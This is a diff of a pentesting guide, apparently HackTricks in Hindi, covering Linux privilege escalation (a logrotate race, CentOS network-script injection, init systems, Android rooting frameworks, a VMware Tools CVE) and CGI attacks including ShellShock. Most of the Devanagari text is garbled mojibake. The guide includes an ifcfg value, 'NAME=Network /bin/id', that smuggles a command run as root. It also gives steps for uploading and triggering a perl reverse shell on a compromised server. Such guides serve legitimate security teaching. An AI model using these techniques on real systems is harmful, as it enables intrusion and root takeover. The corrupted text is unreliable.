рднреА рдбрд╛рдпрд░реЗрдХреНрдЯрд░реА рдореЗрдВ рдХрд░реЗрдВ рдЬрд╣рд╛рдБ log rotation рд▓рд╛рдЧреВ рд╣реЛрддреА рд╣реИред > [!TIP] -> рдпрд╣ vulnerability `logrotate` version `3.18.0` рдФрд░ рдкреБрд░рд╛рдиреЗ рдкрд░ рдЕрд╕рд░ рдбрд╛рд▓рддреА рд╣реИ +> рдпрд╣ рдХрдордЬрд╝реЛрд░реА `logrotate` рдХреЗ version `3.18.0` рдФрд░ рдкреБрд░рд╛рдиреЗ рдкрд░ рдЕрд╕рд░ рдХрд░рддреА рд╣реИ -рдЗрд╕ vulnerability рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рдЕрдзрд┐рдХ рд╡рд┐рд╕реНрддреГрдд рдЬрд╛рдирдХрд╛рд░реА рдЗрд╕ рдкреГрд╖реНрда рдкрд░ рдорд┐рд▓ рд╕рдХрддреА рд╣реИ: [https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition](https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition). +рдЗрд╕ рдХрдордЬрд╝реЛрд░реА рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рдЕрдзрд┐рдХ рд╡рд┐рд╕реНрддреГрдд рдЬрд╛рдирдХрд╛рд░реА рдЗрд╕ рдкреЗрдЬ рдкрд░ рдорд┐рд▓ рд╕рдХрддреА рд╣реИ: [https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition](https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition). -рдЖрдк рдЗрд╕ vulnerability рдХреЛ [**logrotten**](https://github.com/whotwagner/logrotten) рд╕реЗ exploit рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред +рдЖрдк рдЗрд╕ рдХрдордЬрд╝реЛрд░реА рдХрд╛ exploit [**logrotten**](https://github.com/whotwagner/logrotten) рдХреЗ рд╕рд╛рде рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред -рдпрд╣ vulnerability [**CVE-2016-1247**](https://www.cvedetails.com/cve/CVE-2016-1247/) **(nginx logs)** рдХреЗ рдмрд╣реБрдд рд╕рдорд╛рди рд╣реИ, рдЗрд╕рд▓рд┐рдП рдЬрдм рднреА рдЖрдк рдкрд╛рддреЗ рд╣реИрдВ рдХрд┐ рдЖрдк logs рдХреЛ рдмрджрд▓ рд╕рдХрддреЗ рд╣реИрдВ, рддреЛ рдпрд╣ рджреЗрдЦреЗрдВ рдХрд┐ рдХреМрди рдЙрди logs рдХреЛ manage рдХрд░ рд░рд╣рд╛ рд╣реИ рдФрд░ рджреЗрдЦреЗрдВ рдХрд┐ рдХреНрдпрд╛ рдЖрдк logs рдХреЛ symlinks рд╕реЗ рдмрджрд▓рдХрд░ privileges escalate рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред +рдпрд╣ рдХрдордЬрд╝реЛрд░реА [**CVE-2016-1247**](https://www.cvedetails.com/cve/CVE-2016-1247/) **(nginx logs),** рдХреЗ рдмрд╣реБрдд рд╕рдорд╛рди рд╣реИ, рдЗрд╕рд▓рд┐рдП рдЬрдм рднреА рдЖрдк рдкрд╛рддреЗ рд╣реИрдВ рдХрд┐ рдЖрдк logs рдмрджрд▓ рд╕рдХрддреЗ рд╣реИрдВ, рдпрд╣ рджреЗрдЦреЗрдВ рдХрд┐ рдХреМрди рдЙрди logs рдХреЛ manage рдХрд░ рд░рд╣рд╛ рд╣реИ рдФрд░ рдЬрд╛рдВрдЪреЗрдВ рдХрд┐ рдХреНрдпрд╛ рдЖрдк logs рдХреЛ symlinks рд╕реЗ рдмрджрд▓рдХрд░ privileges escalate рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред ### /etc/sysconfig/network-scripts/ (Centos/Redhat) -Vulnerability reference: [**https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure\&qid=e026a0c5f83df4fd532442e1324ffa4f**](https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure&qid=e026a0c5f83df4fd532442e1324ffa4f) +**Vulnerability reference:** [**https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure\&qid=e026a0c5f83df4fd532442e1324ffa4f**](https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure&qid=e026a0c5f83df4fd532442e1324ffa4f) -рдпрджрд┐ рдХрд┐рд╕реА рднреА рдХрд╛рд░рдг рд╕реЗ рдХреЛрдИ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ _/etc/sysconfig/network-scripts_ рдореЗрдВ `ifcf-` рд╕реНрдХреНрд░рд┐рдкреНрдЯ рд▓рд┐рдЦрдиреЗ рдореЗрдВ рд╕рдХреНрд╖рдо рд╣реИ рдпрд╛ рдХрд┐рд╕реА рдореМрдЬреВрджрд╛ рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдХреЛ рд╕рдорд╛рдпреЛрдЬрд┐рдд рдХрд░ рд╕рдХрддрд╛ рд╣реИ, рддреЛ рдЖрдкрдХреА system pwned рд╣реЛ рд╕рдХрддреА рд╣реИред +рдпрджрд┐ рдХрд┐рд╕реА рднреА рдХрд╛рд░рдг рд╕реЗ рдХреЛрдИ рдпреВрдЬрд░ _/etc/sysconfig/network-scripts_ рдореЗрдВ рдПрдХ `ifcf-` script **рд▓рд┐рдЦ** рд╕рдХрддрд╛ рд╣реИ **рдпрд╛** рдХрд┐рд╕реА рдореМрдЬреВрджрд╛ script рдХреЛ **рд╕рдорд╛рдпреЛрдЬрд┐рдд** рдХрд░ рд╕рдХрддрд╛ рд╣реИ, рддреЛ рдЖрдкрдХреА **system is pwned**ред -Network scripts, рдЬреИрд╕реЗ _ifcg-eth0_, рдиреЗрдЯрд╡рд░реНрдХ рдХрдиреЗрдХреНрд╢рдиреЛрдВ рдХреЗ рд▓рд┐рдП рдЙрдкрдпреЛрдЧ рдХрд┐рдП рдЬрд╛рддреЗ рд╣реИрдВред рдпреЗ рдмрд┐рд▓реНрдХреБрд▓ .INI files рдХреА рддрд░рд╣ рджрд┐рдЦрддреЗ рд╣реИрдВред рд╣рд╛рд▓рд╛рдВрдХрд┐, рдЗрдиреНрд╣реЗрдВ Linux рдкрд░ Network Manager (dispatcher.d) рджреНрд╡рд╛рд░рд╛ \~sourced\~ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред +Network scripts, _ifcg-eth0_ рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП рдиреЗрдЯрд╡рд░реНрдХ рдХрдиреЗрдХреНрд╢рдиреНрд╕ рдХреЗ рд▓рд┐рдП рдЙрдкрдпреЛрдЧ рд╣реЛрддреЗ рд╣реИрдВред рд╡реЗ рдмрд┐рд▓реНрдХреБрд▓ .INI files рдХреА рддрд░рд╣ рджрд┐рдЦрддреЗ рд╣реИрдВред рд╣рд╛рд▓рд╛рдВрдХрд┐, рдЗрдиреНрд╣реЗрдВ Linux рдкрд░ Network Manager (dispatcher.d) рджреНрд╡рд╛рд░рд╛ \~sourced\~ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред -рдореЗрд░реЗ рдХреЗрд╕ рдореЗрдВ, рдЗрди network scripts рдореЗрдВ `NAME=` attribute рд╕рд╣реА рддрд░реАрдХреЗ рд╕реЗ handle рдирд╣реАрдВ рд╣реЛрддрд╛ред рдЕрдЧрд░ рдирд╛рдо рдореЗрдВ **white/blank space** рд╣реЛ рддреЛ system рдкрд╣рд▓реЗ white/blank space рдХреЗ рдмрд╛рдж рд╡рд╛рд▓реЗ рд╣рд┐рд╕реНрд╕реЗ рдХреЛ execute рдХрд░рдиреЗ рдХреА рдХреЛрд╢рд┐рд╢ рдХрд░рддрд╛ рд╣реИред рдЗрд╕рдХрд╛ рдорддрд▓рдм рд╣реИ рдХрд┐ **рдкрд╣рд▓реЗ blank space рдХреЗ рдмрд╛рдж рдХрд╛ рд╕рдм рдХреБрдЫ root рдХреЗ рд░реВрдк рдореЗрдВ execute рд╣реЛрддрд╛ рд╣реИ**ред +рдореЗрд░реЗ рдорд╛рдорд▓реЗ рдореЗрдВ, рдЗрди network scripts рдореЗрдВ рдирд┐рд░реНрдзрд╛рд░рд┐рдд `NAME=` рд╕рд╣реА рддрд░реАрдХреЗ рд╕реЗ handle рдирд╣реАрдВ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред рдпрджрд┐ рдирд╛рдо рдореЗрдВ **white/blank space** рд╣реИ рддреЛ system рдирд╛рдо рдореЗрдВ white/blank space рдХреЗ рдмрд╛рдж рд╡рд╛рд▓реЗ рд╣рд┐рд╕реНрд╕реЗ рдХреЛ execute рдХрд░рдиреЗ рдХреА рдХреЛрд╢рд┐рд╢ рдХрд░рддрд╛ рд╣реИред рдЗрд╕рдХрд╛ рдорддрд▓рдм рд╣реИ рдХрд┐ **рдкрд╣рд▓реЗ blank space рдХреЗ рдмрд╛рдж рдХрд╛ рд╣рд░ рдХреБрдЫ root рдХреЗ рд░реВрдк рдореЗрдВ execute рд╣реЛ рдЬрд╛рддрд╛ рд╣реИ**ред For example: _/etc/sysconfig/network-scripts/ifcfg-1337_ ```bash @@ -1466,17 +1444,17 @@ NAME=Network /bin/id ONBOOT=yes DEVICE=eth0 ``` -(_Network рдФрд░ /bin/id рдХреЗ рдмреАрдЪ рд░рд┐рдХреНрдд рд╕реНрдерд╛рди рдХреЛ рдзреНрдпрд╛рди рдореЗрдВ рд░рдЦреЗрдВ_) +(_рдзреНрдпрд╛рди рджреЗрдВ рдХрд┐ Network рдФрд░ /bin/id рдХреЗ рдмреАрдЪ рдПрдХ рд░рд┐рдХреНрдд рд╕реНрдерд╛рди рд╣реИ_) ### **init, init.d, systemd, and rc.d** -рдирд┐рд░реНрджреЗрд╢рд┐рдХрд╛ `/etc/init.d` System V init (SysVinit) рдХреЗ рд▓рд┐рдП **scripts** рдХрд╛ рдШрд░ рд╣реИ, рдЬреЛ **classic Linux service management system** рд╣реИред рдЗрд╕рдореЗрдВ рд╕реЗрд╡рд╛рдУрдВ рдХреЛ `start`, `stop`, `restart`, рдФрд░ рдХрднреА-рдХрднреА `reload` рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП scripts рд╢рд╛рдорд┐рд▓ рд╣реЛрддреЗ рд╣реИрдВред рдЗрдиреНрд╣реЗрдВ рд╕реАрдзреЗ рдпрд╛ `/etc/rc?.d/` рдореЗрдВ рдкрд╛рдП рдЬрд╛рдиреЗ рд╡рд╛рд▓реЗ symbolic links рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдЪрд▓рд╛рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред Redhat рд╕рд┐рд╕реНрдЯрдореНрд╕ рдореЗрдВ рдПрдХ рд╡реИрдХрд▓реНрдкрд┐рдХ рдкрде `/etc/rc.d/init.d` рд╣реИред +рдбрд╛рдпрд░реЗрдХреНрдЯрд░реА `/etc/init.d` System V init (SysVinit) рдХреЗ рд▓рд┐рдП **scripts** рдХрд╛ рд╕реНрдерд╛рди рд╣реИ тАФ рдпрд╣ рдкрд╛рд░рдВрдкрд░рд┐рдХ Linux service management system рд╣реИред рдЗрд╕рдореЗрдВ рд╕реЗрд╡рд╛рдУрдВ рдХреЛ `start`, `stop`, `restart`, рдФрд░ рдХрднреА-рдХрднреА `reload` рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рд╕реНрдХреНрд░рд┐рдкреНрдЯ рд╢рд╛рдорд┐рд▓ рд╣реЛрддреА рд╣реИрдВред рдЗрдиреНрд╣реЗрдВ рд╕реАрдзреЗ рдЪрд▓рд╛рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ рдпрд╛ `/etc/rc?.d/` рдореЗрдВ рдкрд╛рдП рдЬрд╛рдиреЗ рд╡рд╛рд▓реЗ symbolic links рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗред Redhat рд╕рд┐рд╕реНрдЯрдо рдореЗрдВ рд╡реИрдХрд▓реНрдкрд┐рдХ рдкрде `/etc/rc.d/init.d` рд╣реИред -рд╡рд╣реАрдВ рджреВрд╕рд░реА рдУрд░, `/etc/init` **Upstart** рд╕реЗ рдЬреБрдбрд╝рд╛ рд╣реИ, рдЬреЛ Ubuntu рджреНрд╡рд╛рд░рд╛ рдкреЗрд╢ рдХрд┐рдпрд╛ рдЧрдпрд╛ рдирдпрд╛ **service management** рд╣реИ рдФрд░ service management рдХрд╛рд░реНрдпреЛрдВ рдХреЗ рд▓рд┐рдП configuration files рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддрд╛ рд╣реИред Upstart рдореЗрдВ transition рдХреЗ рдмрд╛рд╡рдЬреВрдж, compatibility layer рдХреЗ рдХрд╛рд░рдг SysVinit scripts рдЕрднреА рднреА Upstart configurations рдХреЗ рд╕рд╛рде рдЙрдкрдпреЛрдЧ рдореЗрдВ рд░рд╣рддреЗ рд╣реИрдВред +рджреВрд╕рд░реА рдУрд░, `/etc/init` Upstart рд╕реЗ рдЬреБрдбрд╝рд╛ рд╣реИ тАФ Ubuntu рджреНрд╡рд╛рд░рд╛ рдкреЗрд╢ рдХрд┐рдпрд╛ рдЧрдпрд╛ рдирдпрд╛ service management рдЬреЛ service management рдХрд╛рд░реНрдпреЛрдВ рдХреЗ рд▓рд┐рдП configuration files рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддрд╛ рд╣реИред Upstart рдореЗрдВ рд╕рдВрдХреНрд░рдордг рдХреЗ рдмрд╛рд╡рдЬреВрдж, compatibility layer рдХреЗ рдХрд╛рд░рдг SysVinit рд╕реНрдХреНрд░рд┐рдкреНрдЯреНрд╕ рдЕрднреА рднреА Upstart рдХреЙрдиреНрдлрд╝рд┐рдЧрд░реЗрд╢рдиреЛрдВ рдХреЗ рд╕рд╛рде рдЙрдкрдпреЛрдЧ рдореЗрдВ рд░рд╣рддреА рд╣реИрдВред -**systemd** рдПрдХ рдЖрдзреБрдирд┐рдХ initialization рдФрд░ service manager рдХреЗ рд░реВрдк рдореЗрдВ рдЙрднрд░рддрд╛ рд╣реИ, рдЬреЛ on-demand daemon starting, automount management, рдФрд░ system state snapshots рдЬреИрд╕реА рдЙрдиреНрдирдд рд╕реБрд╡рд┐рдзрд╛рдПрдБ рдкреНрд░рджрд╛рди рдХрд░рддрд╛ рд╣реИред рдпрд╣ files рдХреЛ рд╡рд┐рддрд░рдг рдкреИрдХреЗрдЬреЛрдВ рдХреЗ рд▓рд┐рдП `/usr/lib/systemd/` рдФрд░ рд╡реНрдпрд╡рд╕реНрдерд╛рдкрдХ рд╕рдВрд╢реЛрдзрдиреЛрдВ рдХреЗ рд▓рд┐рдП `/etc/systemd/system/` рдореЗрдВ рд╡реНрдпрд╡рд╕реНрдерд┐рдд рдХрд░рддрд╛ рд╣реИ, рдЬрд┐рд╕рд╕реЗ system administration рдкреНрд░рдХреНрд░рд┐рдпрд╛рдУрдВ рдХреЛ рд╕рд░рд▓ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред +**systemd** рдПрдХ рдЖрдзреБрдирд┐рдХ initialization рдФрд░ service manager рдХреЗ рд░реВрдк рдореЗрдВ рдЙрднрд░рддрд╛ рд╣реИ, рдЬреЛ on-demand daemon starting, automount management, рдФрд░ system state snapshots рдЬреИрд╕реА рдЙрдиреНрдирдд рд╕реБрд╡рд┐рдзрд╛рдПрдБ рдкреНрд░рджрд╛рди рдХрд░рддрд╛ рд╣реИред рдпрд╣ рдлрд╛рдЗрд▓реЛрдВ рдХреЛ рд╡рд┐рддрд░рдг рдкреИрдХреЗрдЬреЛрдВ рдХреЗ рд▓рд┐рдП `/usr/lib/systemd/` рдФрд░ рдПрдбрдорд┐рди рд╕рдВрд╢реЛрдзрдиреЛрдВ рдХреЗ рд▓рд┐рдП `/etc/systemd/system/` рдореЗрдВ рд╡реНрдпрд╡рд╕реНрдерд┐рдд рдХрд░рддрд╛ рд╣реИ, рдЬрд┐рд╕рд╕реЗ system administration рдкреНрд░рдХреНрд░рд┐рдпрд╛ рд╕рд░рд▓ рд╣реЛ рдЬрд╛рддреА рд╣реИред -## рдЕрдиреНрдп рдЯреНрд░рд┐рдХреНрд╕ +## рдЕрдиреНрдп рддрд░рдХреАрдмреЗрдВ ### NFS Privilege escalation @@ -1501,7 +1479,7 @@ cisco-vmanage.md ## Android rooting frameworks: manager-channel abuse -Android rooting frameworks рдЖрдорддреМрд░ рдкрд░ privileged kernel functionality рдХреЛ userspace manager рдХреЛ expose рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдПрдХ syscall рдХреЛ hook рдХрд░рддреЗ рд╣реИрдВред рдХрдордЬреЛрд░ manager authentication (рдЙрджрд╛., FD-order рдкрд░ рдЖрдзрд╛рд░рд┐рдд signature checks рдпрд╛ рдХрдордЬреЛрд░ password schemes) рдПрдХ local app рдХреЛ manager рдХрд╛ impersonate рдХрд░рдиреЗ рдФрд░ рдкрд╣рд▓реЗ рд╕реЗ rooted рдбрд┐рд╡рд╛рдЗрд╕реЛрдВ рдкрд░ root рддрдХ escalate рдХрд░рдиреЗ рдореЗрдВ рд╕рдХреНрд╖рдо рдмрдирд╛ рд╕рдХрддреА рд╣реИред рдЕрдзрд┐рдХ рдЬрд╛рдирдХрд╛рд░реА рдФрд░ exploitation рд╡рд┐рд╡рд░рдг рдпрд╣рд╛рдБ рджреЗрдЦреЗрдВ: +Android rooting frameworks рдЕрдХреНрд╕рд░ privileged kernel functionality рдХреЛ userspace manager рдХреЛ рдПрдХреНрд╕рдкреЛрдЬрд╝ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдПрдХ syscall рдХреЛ hook рдХрд░рддреЗ рд╣реИрдВред рдХрдордЬреЛрд░ manager authentication (рдЙрджрд╛., FD-order рдкрд░ рдЖрдзрд╛рд░рд┐рдд signature checks рдпрд╛ рдХрдордЬреЛрд░ password schemes) рдПрдХ рд╕реНрдерд╛рдиреАрдп рдРрдк рдХреЛ manager рдХрд╛ impersonate рдХрд░рдиреЗ рдФрд░ рдкрд╣рд▓реЗ рд╕реЗ-rooted рдбрд┐рд╡рд╛рдЗрд╕реЗрдЬрд╝ рдкрд░ root рддрдХ escalate рдХрд░рдиреЗ рдореЗрдВ рд╕рдХреНрд╖рдо рдмрдирд╛ рд╕рдХрддреА рд╣реИред рдЕрдзрд┐рдХ рдЬрд╛рдирдХрд╛рд░реА рдФрд░ exploitation рд╡рд┐рд╡рд░рдг рдпрд╣рд╛рдБ рджреЗрдЦреЗрдВ: {{#ref}} @@ -1510,15 +1488,15 @@ android-rooting-frameworks-manager-auth-bypass-syscall-hook.md ## VMware Tools service discovery LPE (CWE-426) via regex-based exec (CVE-2025-41244) -Regex-driven service discovery VMware Tools/Aria Operations рдореЗрдВ process command lines рд╕реЗ рдПрдХ binary path рдирд┐рдХрд╛рд▓ рд╕рдХрддреА рд╣реИ рдФрд░ рдЗрд╕реЗ privileged context рдореЗрдВ -v рдХреЗ рд╕рд╛рде execute рдХрд░ рд╕рдХрддреА рд╣реИред permissive patterns (рдЙрджрд╛., \S рдХрд╛ рдЙрдкрдпреЛрдЧ) writable рд╕реНрдерд╛рдиреЛрдВ (рдЙрджрд╛., /tmp/httpd) рдореЗрдВ attacker-staged listeners рд╕реЗ рдорд┐рд▓ рд╕рдХрддреЗ рд╣реИрдВ, рдЬрд┐рд╕рд╕реЗ root рдХреЗ рд░реВрдк рдореЗрдВ execution рд╣реЛ рд╕рдХрддрд╛ рд╣реИ (CWE-426 Untrusted Search Path)ред +VMware Tools/Aria Operations рдореЗрдВ regex-driven service discovery рдкреНрд░рдХреНрд░рд┐рдпрд╛ command lines рд╕реЗ рдХрд┐рд╕реА binary path рдХреЛ рдирд┐рдХрд╛рд▓ рд╕рдХрддреА рд╣реИ рдФрд░ рдЙрд╕реЗ privileged context рдореЗрдВ `-v` рдХреЗ рд╕рд╛рде execute рдХрд░ рд╕рдХрддреА рд╣реИред permissive patterns (рдЙрджрд╛., \S рдХрд╛ рдЙрдкрдпреЛрдЧ) writable рд╕реНрдерд╛рдиреЛрдВ рдореЗрдВ attacker-staged listeners (рдЙрджрд╛., /tmp/httpd) рд╕реЗ рдореИрдЪ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ, рдЬрд┐рд╕рд╕реЗ root рдХреЗ рд░реВрдк рдореЗрдВ execution рд╣реЛ рд╕рдХрддреА рд╣реИ (CWE-426 Untrusted Search Path)ред -рдЕрдзрд┐рдХ рдЬрд╛рдиреЗрдВ рдФрд░ рдЕрдиреНрдп discovery/monitoring stacks рдкрд░ рд▓рд╛рдЧреВ рд╣реЛрдиреЗ рд╡рд╛рд▓реЗ рд╕рд╛рдорд╛рдиреНрдпреАрдХреГрдд рдкреИрдЯрд░реНрди рдХреЛ рдпрд╣рд╛рдБ рджреЗрдЦреЗрдВ: +рдФрд░ рдЕрдзрд┐рдХ рдЬрд╛рдиреЗрдВ рдФрд░ рдЕрдиреНрдп discovery/monitoring stacks рдкрд░ рд▓рд╛рдЧреВ рд╣реЛрдиреЗ рд╡рд╛рд▓реЗ рд╕рд╛рдорд╛рдиреНрдпреАрдХреГрдд рдкреИрдЯрд░реНрди рдХреЛ рдпрд╣рд╛рдБ рджреЗрдЦреЗрдВ: {{#ref}} vmware-tools-service-discovery-untrusted-search-path-cve-2025-41244.md {{#endref}} -## Kernel Security Protections +## Kernel рд╕реБрд░рдХреНрд╖рд╛ рдЙрдкрд╛рдп - [https://github.com/a13xp0p0v/kconfig-hardened-check](https://github.com/a13xp0p0v/kconfig-hardened-check) - [https://github.com/a13xp0p0v/linux-kernel-defence-map](https://github.com/a13xp0p0v/linux-kernel-defence-map) @@ -1542,7 +1520,7 @@ vmware-tools-service-discovery-untrusted-search-path-cve-2025-41244.md **EvilAbigail (physical access):** [https://github.com/GDSSecurity/EvilAbigail](https://github.com/GDSSecurity/EvilAbigail)\ **Recopilation of more scripts**: [https://github.com/1N3/PrivEsc](https://github.com/1N3/PrivEsc) -## рд╕рдВрджрд░реНрдн +## References - [0xdf тАУ HTB Planning (Crontab UI privesc, zip -P creds reuse)](https://0xdf.gitlab.io/2025/09/13/htb-planning.html) - [alseambusher/crontab-ui](https://github.com/alseambusher/crontab-ui) diff --git a/src/network-services-pentesting/pentesting-web/cgi.md b/src/network-services-pentesting/pentesting-web/cgi.md index 8bae27890..c140c4587 100644 --- a/src/network-services-pentesting/pentesting-web/cgi.md +++ b/src/network-services-pentesting/pentesting-web/cgi.md @@ -3,22 +3,22 @@ {{#include ../../banners/hacktricks-training.md}} -## рдЬрд╛рдирдХрд╛рд░реА +## Information -The **CGI scripts are perl scripts**, so, if you have compromised a server that can execute _**.cgi**_ scripts you can **upload a perl reverse shell** (`/usr/share/webshells/perl/perl-reverse-shell.pl`), **change the extension** from **.pl** to **.cgi**, give **execute permissions** (`chmod +x`) and **access** the reverse shell **from the web browser** to execute it. -CGI vulns рдХреА рдЬрд╛рдБрдЪ рдХреЗ рд▓рд┐рдП `nikto -C all` (рдФрд░ рд╕рднреА plugins) рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдиреЗ рдХреА рд╕рд┐рдлрд╛рд░рд┐рд╢ рдХреА рдЬрд╛рддреА рд╣реИред +The **CGI scripts are perl scripts**, рдЗрд╕рд▓рд┐рдП рдЕрдЧрд░ рдЖрдкрдиреЗ рдХрд┐рд╕реА рд╕рд░реНрд╡рд░ рдореЗрдВ рдкрд╣реБрдБрдЪ рдмрдирд╛ рд▓реА рд╣реИ рдЬреЛ _**.cgi**_ рд╕реНрдХреНрд░рд┐рдкреНрдЯреНрд╕ рдХреЛ execute рдХрд░ рд╕рдХрддрд╛ рд╣реИ рддреЛ рдЖрдк **perl reverse shell** (`/usr/share/webshells/perl/perl-reverse-shell.pl`) рдЕрдкрд▓реЛрдб рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ, рдПрдХреНрд╕рдЯреЗрдВрд╢рди **.pl** рд╕реЗ **.cgi** рдореЗрдВ рдмрджрд▓ рд╕рдХрддреЗ рд╣реИрдВ, execute permissions рджреЗ рд╕рдХрддреЗ рд╣реИрдВ (`chmod +x`) рдФрд░ рд╡реЗрдм рдмреНрд░рд╛рдЙрдЬрд╝рд░ рд╕реЗ reverse shell рдХреЛ access рдХрд░рдХреЗ execute рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред +CGI vulns рдХреА рдЬрд╛рдВрдЪ рдХреЗ рд▓рд┐рдП `nikto -C all` \(and all the plugins\) рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдиреЗ рдХреА рд╕рд▓рд╛рд╣ рджреА рдЬрд╛рддреА рд╣реИред ## **ShellShock** -**ShellShock** рдПрдХ vulnerability рд╣реИ рдЬреЛ рд╡реНрдпрд╛рдкрдХ рд░реВрдк рд╕реЗ рдЙрдкрдпреЛрдЧ рдХрд┐рдП рдЬрд╛рдиреЗ рд╡рд╛рд▓реЗ **Bash** command-line shell рдХреЛ Unix-based operating systems рдореЗрдВ рдкреНрд░рднрд╛рд╡рд┐рдд рдХрд░рддреА рд╣реИред рдпрд╣ рдЙрди рдкрд░рд┐рд╕реНрдерд┐рддрд┐рдпреЛрдВ рдХреЛ рдирд┐рд╢рд╛рдирд╛ рдмрдирд╛рддреА рд╣реИ рдЬрд╣рд╛рдБ Bash рдХреЛ applications рджреНрд╡рд╛рд░рд╛ рдкрд╛рд╕ рдХрд┐рдП рдЧрдП commands рдЪрд▓рд╛рдиреЗ рд╣реЛрддреЗ рд╣реИрдВред Vulnerability рдХрд╛ рдореВрд▓ рдХрд╛рд░рдг **environment variables** рдХрд╛ manipulation рд╣реИ, рдЬреЛ dynamic named values рд╣реЛрддреЗ рд╣реИрдВ рдФрд░ рдпрд╣ рдкреНрд░рднрд╛рд╡рд┐рдд рдХрд░рддреЗ рд╣реИрдВ рдХрд┐ рдХрдВрдкреНрдпреВрдЯрд░ рдкрд░ processes рдХреИрд╕реЗ рдЪрд▓рддреЗ рд╣реИрдВред Attackers рдЗрд╕реЗ exploit рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ тАФ environment variables рдореЗрдВ malicious code attach рдХрд░рдХреЗ, рдЬреЛ variable рдорд┐рд▓рдиреЗ рдкрд░ execute рд╣реЛ рдЬрд╛рддрд╛ рд╣реИред рдЗрд╕рд╕реЗ attackers рд╕рд┐рд╕реНрдЯрдо рдХреЛ рд╕рдВрднрд╛рд╡рд┐рдд рд░реВрдк рд╕реЗ compromise рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред +**ShellShock** рдПрдХ **vulnerability** рд╣реИ рдЬреЛ Unix-рдЖрдзрд╛рд░рд┐рдд рдСрдкрд░реЗрдЯрд┐рдВрдЧ рд╕рд┐рд╕реНрдЯрдо рдореЗрдВ рд╡реНрдпрд╛рдкрдХ рд░реВрдк рд╕реЗ рдЗрд╕реНрддреЗрдорд╛рд▓ рд╣реЛрдиреЗ рд╡рд╛рд▓реЗ **Bash** command-line shell рдХреЛ рдкреНрд░рднрд╛рд╡рд┐рдд рдХрд░рддреА рд╣реИред рдпрд╣ Bash рдХреА рдЙрд╕ рдХреНрд╖рдорддрд╛ рдХреЛ рд▓рдХреНрд╖рд┐рдд рдХрд░рддрд╛ рд╣реИ рдЬреЛ applications рджреНрд╡рд╛рд░рд╛ рдкрд╛рд╕ рдХрд┐рдП рдЧрдП commands рдХреЛ рдЪрд▓рд╛рддреА рд╣реИред рдпрд╣ vulnerability **environment variables** рдХреЗ manipulation рдореЗрдВ рдирд┐рд╣рд┐рдд рд╣реИ, рдЬреЛ dynamic named values рд╣реЛрддреЗ рд╣реИрдВ рдФрд░ рдпрд╣ рдирд┐рд░реНрдзрд╛рд░рд┐рдд рдХрд░рддреЗ рд╣реИрдВ рдХрд┐ рдХрдВрдкреНрдпреВрдЯрд░ рдкрд░ processes рдХреИрд╕реЗ рдЪрд▓рддреЗ рд╣реИрдВред Attackers рдЗрд╕реЗ exploit рдХрд░рдХреЗ **malicious code** рдХреЛ environment variables рдореЗрдВ рд╕рдВрд▓рдЧреНрди рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ, рдЬреЛ рдЙрд╕ variable рдХреЗ рдкреНрд░рд╛рдкреНрдд рд╣реЛрддреЗ рд╣реА execute рд╣реЛ рдЬрд╛рддрд╛ рд╣реИред рдЗрд╕рд╕реЗ attackers рд╕рдВрднрд╛рд╡рд┐рдд рд░реВрдк рд╕реЗ рд╕рд┐рд╕реНрдЯрдо рдХреЛ compromise рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред -рдЗрд╕ vulnerability рдХрд╛ exploit рдХрд░рдиреЗ рдкрд░ рдкреЗрдЬ error рдлреЗрдВрдХ рд╕рдХрддрд╛ рд╣реИред +Exploiting this vulnerability the **page could throw an error**ред -рдЖрдк рдЗрд╕ vulnerability рдХреЛ рдЗрд╕ рдмрд╛рдд рд╕реЗ рдкрд╛ рд╕рдХрддреЗ рд╣реИрдВ рдХрд┐ рдпрд╣ рдкреБрд░рд╛рдиреЗ **Apache** version рдФрд░ **cgi_mod** (cgi рдлрд╝реЛрд▓реНрдбрд░ рдХреЗ рд╕рд╛рде) рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░ рд░рд╣рд╛ рд╣реИ, рдпрд╛ `nikto` рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗред +рдЖрдк рдЗрд╕ vulnerability рдХреЛ рдкрд╛ рд╕рдХрддреЗ рд╣реИрдВ рдпрд╣ рджреЗрдЦрдХрд░ рдХрд┐ рдпрд╣ **old Apache version** рдФрд░ **cgi_mod** \(with cgi folder\) рдХрд╛ рдЙрдкрдпреЛрдЧ 